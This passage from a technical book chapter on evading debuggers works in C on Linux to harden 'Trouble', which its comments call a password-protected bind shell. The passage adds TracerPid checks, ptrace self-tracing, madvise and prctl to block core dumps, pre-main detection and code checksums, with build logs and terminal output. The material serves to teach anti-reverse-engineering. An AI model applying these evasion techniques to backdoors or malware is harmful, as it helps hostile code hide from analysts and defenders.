6230 pts/9
Ss
0:00 bash
7111 pts/9
S
0:00 \_ sudo su
7112 pts/9
S
0:00
\_ su
7113 pts/9
S
0:00
\_ bash
7123 pts/9
S+
0:00
\_ ./trouble/trouble
7124 pts/9
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ cat /proc/7123/status | grep Pid:
Pid:
7123
PPid:
7113
TracerPid:
7124

In the above output, Ive pushed the status file for PID 7123 through grep. The output
shows the current Pid (7123), the parents Pid (7113), and the tracers Pid (7124). We
can update Trouble to also look up this information using /proc/self/status.
Looking for the TracerPid in /proc/self/status
/*
* Checks the "TracerPid" entry in the /proc/self/status file. If the value
* is not zero then a debugger has attached. If a debugger is attached then
* signal to the parent pid and exit.
*/
void check_proc_status()
{
FILE* proc_status = fopen("/proc/self/status", "r");
if (proc_status == NULL)
{
return;
}
char line[1024] = { };

Chapter 6: Evading the Debugger

217

char fgets(char s, int size, FILE *stream);

while (fgets(line, sizeof(line), proc_status) != NULL)
{
const char traceString[] = "TracerPid:";
char* tracer = strstr(line, traceString);
if (tracer != NULL)
{
int pid = atoi(tracer + sizeof(traceString) - 1);
if (pid != 0)
{
fclose(proc_status);
kill(getppid(), SIGKILL);
exit(EXIT_FAILURE);
}
}
}
fclose(proc_status);
}
/**
* This implements a fairly simple bind shell. The server first requires a
* password before allowing access to the shell. The password is currently
* randomly generated each time 'cmake ..' is run. The server has no shutdown
* mechanism so it will run until killed.
*/
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
int fork_pid = fork();
if (fork_pid == 0)
{
// trace the parent process
if (ptrace(PTRACE_ATTACH, getppid(), NULL, NULL) != 0)
{
exit(EXIT_FAILURE);
}
ptrace(PTRACE_SETOPTIONS, getppid(), NULL, PTRACE_O_TRACEFORK | PTRACE_O_EXIT\
KILL);
// restart the parent so it can keep processing like normal

Chapter 6: Evading the Debugger

218

int status = 0;
wait(&status);
ptrace(PTRACE_CONT, getppid(), NULL, NULL);
// handle any signals that may come in from tracees
while (true)
{
check_proc_status(getpid());
int pid = waitpid(-1, &status, WNOHANG);
if (pid == 0)
{
sleep(1);
continue;
}
if (status >> 16 == PTRACE_EVENT_FORK)
{
// follow the fork
long newpid = 0;
ptrace(PTRACE_GETEVENTMSG, pid, NULL, &newpid);
ptrace(PTRACE_ATTACH, newpid, NULL, NULL);
ptrace(PTRACE_CONT, newpid, NULL, NULL);
}
ptrace(PTRACE_CONT, pid, NULL, NULL);
}
}

Ive updated the tracers while(true) loop to use a non-blocking waitpid call so that
it can check that TracerPid: line in /proc/self/status every second. While this wont
stop a debugger from attaching it will stop the debugger from being attached for a
long time. For example:

Chapter 6: Evading the Debugger

219

Detecting GDB via /proc/self/status

albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
11050 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss
0:00 bash
11032 pts/9
S+
0:00 \_ sudo ./trouble/trouble
11033 pts/9
S+
0:00
\_ ./trouble/trouble
11034 pts/9
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ sudo gdb -p 11034
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 11034
Reading symbols from /home/albino-lobster/antire_book/chap_6_debugger/dontpanic/build\
/trouble/trouble...(no debugging symbols found)...done.
0x0000000000402264 in __syscall ()
(gdb) c
Continuing.
[Inferior 1 (process 11034) exited with code 01]
(gdb) quit
albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6352 pts/21
Ss
0:00 bash
11062 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss+
0:00 bash
albino-lobster@ubuntu:~$

Chapter 6: Evading the Debugger

220

madvise
In the previous section, you introduced a new way to detect if a debugger is attached
to Troubles tracing child. However, the method doesnt protect against utilities that
attach and detach without controlling executing like gcore.
gcore still able to attach to Troubles tracing child
albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
6369 pts/29
Ss+
0:00 bash
6352 pts/21
Ss
0:00 bash
16614 pts/21
R+
0:00 \_ ps fa
6230 pts/9
Ss
0:00 bash
16611 pts/9
S+
0:00 \_ sudo ./trouble/trouble
16612 pts/9
S+
0:00
\_ ./trouble/trouble
16613 pts/9
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ sudo gcore 16613
0x0000000000402374 in __syscall ()
Saved corefile core.16613

As mentioned previously, a core file can be loaded into IDA and provides a view of
Trouble that strips away many of the obfuscations techniques. However, there is a
Linux function called madvise() that will allow us to exclude memory ranges from
being included in a core file. From the man page:
The madvise() system call is used to give advice or directions to the kernel
about the address range beginning at address addr and with size length
bytes. Initially, the system call sup ported a set of conventional advice
values, which are also available on several other implementations. (Note,
though, that madvise() is not specified in POSIX.) Subsequently, a number
of Linux-specific advice values have been added.

One of the Linux-specific advice values is the MADV_DONTDUMP value. Again,

from the madvise man page:

Chapter 6: Evading the Debugger

221

MADV_DONTDUMP (since Linux 3.4) Exclude from a core dump those

pages in the range specified by addr and length. This is useful in applications that have large areas of memory that are known not to be useful in a
core dump. The effect of MADV_DONTDUMP takes precedence over the
bit mask that is set via the /proc/PID/coredump_filter file (see core(5)).

Using madvise(), you can prevent gcore from dumping Trouble after the cryptor has
been executed. The only real challenge is how to programmatically find the addresses
to pass to madvise(). To do this I created another post-compilation tool. You can find
this tool in the chapter 6 dontpanic directory under madvise. The project, as usual,
contains two files.
chap_6_debugger/dontpanic/madvise/CMakeLists.txt
project(madvise CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_CXX_FLAGS "-Wall -Wextra -g")
add_executable(${PROJECT_NAME} src/madvise.cpp)

chap_6_debugger/dontpanic/madvise/src/madvise.cpp
#include
#include
#include
#include
#include
#include

/*
* Parse the program headers and store the address/size of the first LOAD. Then walk
* the section headers table looking for ".madvise_base_addr" and ".madvise_size"
* where we'll store the address and size we pulled from the LOAD segment.
*
* \param[in,out] p_data the ELF binary
* \return true if we found both .madvise sections
*/
bool add_advise_info(std::string& p_data)

Chapter 6: Evading the Debugger

222

{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' || p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Shdr* sections = reinterpret_cast<Elf64_Shdr*>(&p_data[ehdr->e_shoff]);
Elf64_Half sections_count = ehdr->e_shnum;
if (sections_count == 0)
{
std::cerr << "[-] No section table" << std::endl;
return false;
}
Elf64_Shdr* strings_header = reinterpret_cast<Elf64_Shdr*>(
&p_data[ehdr->e_shoff] + (ehdr->e_shentsize * ehdr->e_shstrndx));
const char* strings_table = &p_data[strings_header->sh_offset];
Elf64_Phdr* phdr = reinterpret_cast<Elf64_Phdr*>(&p_data[ehdr->e_phoff]);
uint32_t base_address = phdr->p_vaddr;
uint32_t size = phdr->p_filesz;
int found = 0;
Elf64_Shdr* current = sections;
for (int i = 0; i < sections_count; i++, current++)
{
std::string section_name(&strings_table[current->sh_name]);
if (section_name.find(".madvise_base_addr") == 0)
{
memcpy(&p_data[0] + current->sh_offset, &base_address,
sizeof(base_address));
found++;
}
else if (section_name.find(".madvise_size") == 0)
{
memcpy(&p_data[0] + current->sh_offset, &size, sizeof(size));
found++;
}
}
return (found == 2);
}

Chapter 6: Evading the Debugger

223

int main(int p_argc, char** p_argv)

{
if (p_argc != 2)
{
std::cerr << "Usage: ./madvise <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to open the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)),
std::istreambuf_iterator<char>());
inputFile.close();
if(!add_advise_info(input))
{
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cout << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

This tool will look for two names in the section table: .madvise_base_addr and
.madvise_size. The tool will copy the address and size found in the first program
header into those section.

Chapter 6: Evading the Debugger

224

Next you need to update Trouble to use the madvise tool. The first step is to hook
madvise into Troubles CMakeList.txt.
chap_6_debugger/dontpanic/trouble/CMakeList.txt
project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}" -Dpassword_size=33)
set(CMAKE_C_COMPILER musl-gcc)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -static -std=gnu11 -Wno-int-to-pointer-cas\
t")
add_executable(${PROJECT_NAME} src/trouble.c src/rc4.c)
add_custom_target(addLDS
COMMAND sed -i -e 's,-o,${CMAKE_CURRENT_SOURCE_DIR}/trouble_layout.lds -o,g' ./CM\
akeFiles/trouble.dir/link.txt)
add_dependencies(${PROJECT_NAME} addLDS)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../madvise/madvise ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../encryptFunctions/encryptFunctions ${CMAKE_CURRENT_BINARY_DIR}/${PROJEC\
T_NAME})

Chapter 6: Evading the Debugger

225

add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../cryptor/cryptor ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME})

Also, the special sections need to be created in Trouble. As youve done in previous
chapters, you can create special sections by using the section attribute.
Adding the .madvise sections in Trouble
extern void* check_password_size;
unsigned char check_password_key[128] __attribute((section(".rc4_check_password"))) =\
{ 0 };
uint32_t madvise_base __attribute((section(".madvise_base_addr"))) = 0;
uint32_t madvise_size __attribute((section(".madvise_size"))) = 0;

Finally, add the madvise() call to Troubles child tracer.

Update the tracers code to call madvise()
madvise((void*)madvise_base, madvise_size, MADV_DONTDUMP);
// handle any signals that may come in from tracees
while (true)

Now if you recompile Trouble you should see madvise as part of the build process.
Trouble build output with madvise linked in
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ make
Scanning dependencies of target stripBinary
[ 7%] Building CXX object stripBinary/CMakeFiles/stripBinary.dir/src/stripBinary.cpp\
.o
[ 14%] Linking CXX executable stripBinary
[ 14%] Built target stripBinary
Scanning dependencies of target fakeHeadersXBit
[ 21%] Building CXX object fakeHeadersXBit/CMakeFiles/fakeHeadersXBit.dir/src/fakeHea\
dersXBit.cpp.o
[ 28%] Linking CXX executable fakeHeadersXBit

Chapter 6: Evading the Debugger

226

[ 28%] Built target fakeHeadersXBit

Scanning dependencies of target encryptFunctions
[ 35%] Building CXX object encryptFunctions/CMakeFiles/encryptFunctions.dir/src/encry\
ptFunctions.cpp.o
[ 42%] Building CXX object encryptFunctions/CMakeFiles/encryptFunctions.dir/src/rc4.c\
.o
[ 50%] Linking CXX executable encryptFunctions
[ 50%] Built target encryptFunctions
Scanning dependencies of target madvise
[ 57%] Building CXX object madvise/CMakeFiles/madvise.dir/src/madvise.cpp.o
[ 64%] Linking CXX executable madvise
[ 64%] Built target madvise
Scanning dependencies of target cryptor
[ 71%] Building CXX object cryptor/CMakeFiles/cryptor.dir/src/cryptor.cpp.o
[ 78%] Linking CXX executable cryptor
[ 78%] Built target cryptor
Scanning dependencies of target addLDS
[ 78%] Built target addLDS
Scanning dependencies of target trouble
[ 85%] Building C object trouble/CMakeFiles/trouble.dir/src/trouble.c.o
[ 92%] Building C object trouble/CMakeFiles/trouble.dir/src/rc4.c.o
[100%] Linking C executable trouble
The bind shell password is: Jz117GoiWArnaXMEeCpnjJ2EbMKQ0gZD
[+] Encrypted 0x3ef6
[100%] Built target trouble

Now if you create a core file using gcore the output looks the same.
Core generation looks exactly the same
albino-lobster@ubuntu:~$ ps fa
PID TTY
STAT
TIME COMMAND
2399 pts/1
Ss
0:00 bash
5713 pts/1
R+
0:00 \_ ps fa
2135 pts/11
Ss
0:00 bash
5710 pts/11
S+
0:00 \_ sudo ./trouble/trouble
5711 pts/11
S+
0:00
\_ ./trouble/trouble
5712 pts/11
S+
0:00
\_ ./trouble/trouble
albino-lobster@ubuntu:~$ sudo gcore 5712
[sudo] password for albino-lobster:
0x00000000004022a4 in __syscall ()
Saved corefile core.5712

227

Chapter 6: Evading the Debugger

However, if you look at the cores program headers in readelf, youll notice that the
0x400000 range that Trouble executes out of is missing.
madvise disappears the 0x400000 range
albino-lobster@ubuntu:~$ readelf -l ./core.5712
Elf file type is CORE (Core file)
Entry point 0x0
There are 6 program headers, starting at offset 64
Program Headers:
Type
Offset
FileSiz
NOTE
0x0000000000000190
0x00000000000009d0
LOAD
0x0000000000000b60
0x0000000000002000
LOAD
0x0000000000002b60
0x0000000000001000
LOAD
0x0000000000003b60
0x0000000000021000
LOAD
0x0000000000024b60
0x0000000000002000
LOAD
0x0000000000026b60
0x0000000000001000

VirtAddr
MemSiz
0x0000000000000000
0x0000000000000000
0x0000000000604000
0x0000000000002000
0x00000000007b0000
0x0000000000001000
0x00007ffef2576000
0x0000000000021000
0x00007ffef25cc000
0x0000000000002000
0xffffffffff600000
0x0000000000001000

PhysAddr
Flags Align
0x0000000000000000
R
1
0x0000000000000000
RW
1
0x0000000000000000
RW
1
0x0000000000000000
RW
1
0x0000000000000000
R E
1
0x0000000000000000
R E
1

Section to Segment mapping:

Segment Sections...
00
01
load
02
load
03
load
04
load
05
load

Furthermore, if you drop the core into IDA, youll see that the 0x400000 range truly
doesnt exist in the core. This effectively hides all of Troubles code.

Chapter 6: Evading the Debugger

228

Top of the gcore generated core file in IDA

load:0000000000604000 ; Input SHA256 : 9384EEBF41F681E6130F742FE80C068DDA7980A225549A\
E3D8F9D8515D7E3B88
load:0000000000604000 ; Input MD5
: 8843AEE83C8AA457AD924AE1A12AB845
load:0000000000604000 ; Input CRC32 : 3F22029C
load:0000000000604000
load:0000000000604000 ; File Name
: C:\Users\ADMINI~1\AppData\Local\Temp\vmware-Adm\
inistrator\VMwareDnD\6890e00b\core.5712
load:0000000000604000 ; Format
: ELF64 for x86-64 (Core file)
load:0000000000604000 ; Imagebase
: 604000
load:0000000000604000 ;
load:0000000000604000
load:0000000000604000
.686p
load:0000000000604000
.mmx
load:0000000000604000
.model flat
load:0000000000604000 .intel_syntax noprefix
load:0000000000604000
load:0000000000604000 ; ====================================================
load:0000000000604000
load:0000000000604000 ; Segment type: Pure data
load:0000000000604000 ; Segment permissions: Read/Write
load:0000000000604000 load
segment byte public 'DATA' use64
load:0000000000604000
assume cs:load
load:0000000000604000
;org 604000h
load:0000000000604000
db 6Bh ; k
load:0000000000604001
db 31h ; 1

prctl
In the previous section, you prevented the deobfuscated code from appearing in a
core dump. However, maybe it would be better to not allow a core to be dumped at
all? Ive been using gcore to generate the core file so far. However, that isnt necessary.
A core can be generated simply by sending the correct signal a Trouble.

Chapter 6: Evading the Debugger

229

Generating a core using kill -11

albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ls -l
total 56
-rw-rw-r-- 1 albino-lobster albino-lobster 13260 Dec 5 05:54 CMakeCache.txt
drwxrwxr-x 4 albino-lobster albino-lobster 4096 Dec 5 17:30 CMakeFiles
-rw-rw-r-- 1 albino-lobster albino-lobster 2187 Dec 5 05:54 cmake_install.cmake
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 cryptor
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 encryptFunctions
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 fakeHeadersXBit
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 madvise
-rw-rw-r-- 1 albino-lobster albino-lobster 7041 Dec 5 05:54 Makefile
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 stripBinary
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 17:30 trouble
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo ./trouble/t\
rouble &
[1] 7773
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ulimit -c unlimi\
ted
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ps fa
PID TTY
STAT
TIME COMMAND
2135 pts/11
Ss
0:00 bash
7773 pts/11
S
0:00 \_ sudo ./trouble/trouble
7774 pts/11
S
0:00 |
\_ ./trouble/trouble
7775 pts/11
S
0:00 |
\_ ./trouble/trouble
7776 pts/11
R+
0:00 \_ ps fa
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo kill -11 77\
75
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ls -l
total 228
-rw-rw-r-- 1 albino-lobster albino-lobster 13260 Dec 5 05:54 CMakeCache.txt
drwxrwxr-x 4 albino-lobster albino-lobster
4096 Dec 5 17:30 CMakeFiles
-rw-rw-r-- 1 albino-lobster albino-lobster
2187 Dec 5 05:54 cmake_install.cmake
-rw------- 1 root
root
176128 Dec 5 17:32 core
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 05:54 cryptor
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 05:54 encryptFunctions
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 05:54 fakeHeadersXBit
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 05:54 madvise
-rw-rw-r-- 1 albino-lobster albino-lobster
7041 Dec 5 05:54 Makefile
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 05:54 stripBinary
drwxrwxr-x 3 albino-lobster albino-lobster
4096 Dec 5 17:30 trouble
[1]+ Killed
sudo ./trouble/trouble
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo readelf -l \

230

Chapter 6: Evading the Debugger

./core
Elf file type is CORE (Core file)
Entry point 0x0
There are 8 program headers, starting at offset 64
Program Headers:
Type
Offset
FileSiz
NOTE
0x0000000000000200
0x0000000000000a38
LOAD
0x0000000000001000
0x0000000000000000
LOAD
0x0000000000001000
0x0000000000002000
LOAD
0x0000000000003000
0x0000000000001000
LOAD
0x0000000000004000
0x0000000000022000
LOAD
0x0000000000026000
0x0000000000002000
LOAD
0x0000000000028000
0x0000000000002000
LOAD
0x000000000002a000
0x0000000000001000

VirtAddr
MemSiz
0x0000000000000000
0x0000000000000000
0x0000000000400000
0x0000000000005000
0x0000000000604000
0x0000000000002000
0x0000000002212000
0x0000000000001000
0x00007fff0efc8000
0x0000000000022000
0x00007fff0eff1000
0x0000000000002000
0x00007fff0eff3000
0x0000000000002000
0xffffffffff600000
0x0000000000001000

PhysAddr
Flags Align
0x0000000000000000
0
0x0000000000000000
RWE
1000
0x0000000000000000
RW
1000
0x0000000000000000
RW
1000
0x0000000000000000
RW
1000
0x0000000000000000
R
1000
0x0000000000000000
R E
1000
0x0000000000000000
R E
1000

Not only did this generate a core, but the 0x400000 range is clearly visible! We cant
allow this. Fortunately for us, Linux provides a function that you can use to prevent
signals triggering core file generation. That function is prctl() used with the PR_SET_DUMPABLE option. From the man page:

PR_SET_DUMPABLE
Set the state of the dumpable flag, which determines whether core
dumps are produced for the calling process upon delivery of a signal whose
default behavior is to produce a core dump.

Use of prctl() is a simple one liner:

Chapter 6: Evading the Debugger

231

Adding PR_SET_DUMPABLE to Trouble

int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
int fork_pid = fork();
if (fork_pid == 0)
{
prctl(PR_SET_DUMPABLE, 0);
// trace the parent process
int parent = getppid();

Now if the reverse engineer tries to generate a core than nothing will happen.
Core generation no longer works
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ls -l
total 56
-rw-rw-r-- 1 albino-lobster albino-lobster 13260 Dec 5 05:54 CMakeCache.txt
drwxrwxr-x 4 albino-lobster albino-lobster 4096 Dec 5 17:51 CMakeFiles
-rw-rw-r-- 1 albino-lobster albino-lobster 2187 Dec 5 05:54 cmake_install.cmake
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 cryptor
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 encryptFunctions
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 fakeHeadersXBit
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 madvise
-rw-rw-r-- 1 albino-lobster albino-lobster 7041 Dec 5 05:54 Makefile
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 stripBinary
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 17:51 trouble
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo ./trouble/t\
rouble &
[1] 8077
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ps fa
PID TTY
STAT
TIME COMMAND
2135 pts/11
Ss
0:00 bash
8077 pts/11
S
0:00 \_ sudo ./trouble/trouble
8078 pts/11
S
0:00 |
\_ ./trouble/trouble
8079 pts/11
S
0:00 |
\_ ./trouble/trouble
8080 pts/11
R+
0:00 \_ ps fa
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo kill -11 80\

Chapter 6: Evading the Debugger

232

79
[1]+ Killed
sudo ./trouble/trouble
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ ls -l
total 56
-rw-rw-r-- 1 albino-lobster albino-lobster 13260 Dec 5 05:54 CMakeCache.txt
drwxrwxr-x 4 albino-lobster albino-lobster 4096 Dec 5 17:51 CMakeFiles
-rw-rw-r-- 1 albino-lobster albino-lobster 2187 Dec 5 05:54 cmake_install.cmake
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 cryptor
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 encryptFunctions
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 fakeHeadersXBit
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 madvise
-rw-rw-r-- 1 albino-lobster albino-lobster 7041 Dec 5 05:54 Makefile
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 05:54 stripBinary
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Dec 5 17:51 trouble

Detection Before main()

Youve come a long way in preventing the debugger from doing anything useful to
aid in reverse engineering. However, GDB can still sometimes run Trouble until the
tracing child detects the debugger and kills the program. It would be better to catch
the debugger and exit earlier. Luckily, there is a mechanism to add code that will
execute before main() is executed. Functions using the constructor attribute will
be called before main().
Checking /proc/self/status before main()
/**
* Before we enter main check to see if a debugger is present
*/
void __attribute__((constructor)) before_main()
{
check_proc_status();
}
/**
* This implements a fairly simple bind shell. The server first requires a

Sometimes GDB will crash in main() upon entry. That is because GDB inserts a break point at the first instruction in
main(), but the cryptor computes an XOR over that value. This can sometimes cause a crash and sometimes not (depends on
the generated code).

Chapter 6: Evading the Debugger

233

* password before allowing access to the shell. The password is currently

* randomly generated each time 'cmake ..' is run. The server has no shutdown
* mechanism so it will run until killed.
*/
int main(int p_argc, char* p_argv[])

The above will cause Trouble to exit early.

Exiting before hitting main()
albino-lobster@ubuntu:~/antire_book/chap_6_debugger/dontpanic/build$ sudo gdb ./troub\
le/trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/albino-lobster/antire_book/chap_6_debugger/dontpanic/build/tr\
ouble/trouble
[Inferior 1 (process 3098) exited with code 01]
(gdb)

Computing Function Checksums

At this point, you need to be concerned about the reverse engineer modifying Trouble
in order to patch out the various debugger checks that have been added. There are
two ways to combat this:

Chapter 6: Evading the Debugger

234

1. Encrypt your functions like we did in chapter four.

2. Compute checksums over your code to ensure it hasnt changed.
While I think the encryption approach is the better choice because it has a few other
benefits (anti static analysis and anti memory analysis) variety is the spice of life.
For this implementation youll be using a modified version of the CRC32 algorithm
written by Stephan Brumme. The CRC32 code is spread across two files:
chap_6_debugger/dontpanic/computeChecksums/src/crc32.h
#include <stdint.h>
// based on http://create.stephan-brumme.com/crc32/#git1
uint32_t crc32_bitwise(const unsigned char* data, uint64_t length);

chap_6_debugger/dontpanic/computeChecksums/src/crc32.c
#include "crc32.h"
#include <stdlib.h>
#include <sys/param.h>
uint32_t crc32_bitwise(const unsigned char* data, uint64_t length)
{
uint32_t crc = ~0;
const unsigned char* current = data;
while (length-- != 0)
{
crc ^= *current++;
for (int j = 0; j < 8; j++)
{
crc = (crc >> 1) ^ (-(int32_t)(crc & 1) & 0xEDB88320);
}
}
return ~crc;
}

http://create.stephan-brumme.com/crc32/

Chapter 6: Evading the Debugger

235

As youve done previously, youll rely on special section names and the linker to
find the code we want to compute the checksum over and insert the proper values
post-compilation. Ive introduced a new project called computeChecksums in the
chapter 6 repository. The computeChecksums directory contains the crc files above
and two other files:
chap_6_debugger/dontpanic/computeChecksums/CMakeLists.txt
project(computeChecksums CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_CXX_FLAGS "-Wall -Wextra -g")
add_executable(${PROJECT_NAME}
src/computeChecksums.cpp
src/crc32.c)
set_source_files_properties(src/crc32.c PROPERTIES LANGUAGE CXX)

chap_6_debugger/dontpanic/computeChecksums/src/computeChecksums.cpp
#include
#include
#include
#include
#include
#include
#include

#include "crc32.h"
bool compute_crcs(std::string& p_data)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' || p_data[3] != 'F')
{
return false;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Shdr* sections = reinterpret_cast<Elf64_Shdr*>(&p_data[ehdr->e_shoff]);
Elf64_Half sections_count = ehdr->e_shnum;

Chapter 6: Evading the Debugger

236

Elf64_Shdr* strings_header = reinterpret_cast<Elf64_Shdr*>(&p_data[ehdr->e_shoff]

+ (ehdr->e_shentsize * ehdr->e_shstrndx));
const char* strings_table = &p_data[strings_header->sh_offset];
std::map<std::string, Elf64_Addr> crc_mappings;
// find all ".compute_crc_" sections
Elf64_Shdr* current = sections;
for (int i = 0; i < sections_count; i++, current++)
{
std::string section_name(&strings_table[current->sh_name]);
if (section_name.find(".compute_crc_") == 0)
{
std::string func_name = "." + section_name.substr(13);
crc_mappings[func_name] = current->sh_offset;
}
}
// find all sections that ".compute_crc_" was referencing
current = sections;
for (int i = 0; i < sections_count; i++, current++)
{
std::string section_name(&strings_table[current->sh_name]);
if (crc_mappings.find(section_name) != crc_mappings.end())
{
uint32_t crc =crc32_bitwise(reinterpret_cast<unsigned char*>(
&p_data[current->sh_offset]), current->sh_size);
memcpy(&p_data[crc_mappings[section_name]], &crc, sizeof(crc));
}
}
return true;
}
/*
* Load ELF.
* Scan sections for "load_crc_xxx"
* Scan sections for "xxx"
*/
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{

Chapter 6: Evading the Debugger

237

std::cerr << "Usage: ./computeChecksums <file path>" << std::endl;

In order to integrate computeChecksums into dontpanic, the CMakeLists.txt needs to

be updated:

Chapter 6: Evading the Debugger

238

chap_6_debugger/dontpanic/CMakeLists.txt
project(dontpanic C)
cmake_minimum_required(VERSION 3.0)
add_subdirectory(stripBinary)
add_subdirectory(fakeHeadersXBit)
add_subdirectory(encryptFunctions)
add_subdirectory(computeChecksums)
add_subdirectory(madvise)
add_subdirectory(cryptor)
add_subdirectory(trouble)

Also, the linker script needs to be updated.

chap_6_debugger/dontpanic/trouble_layout.lds
SECTIONS
{
check_password_size = SIZEOF(.check_password);
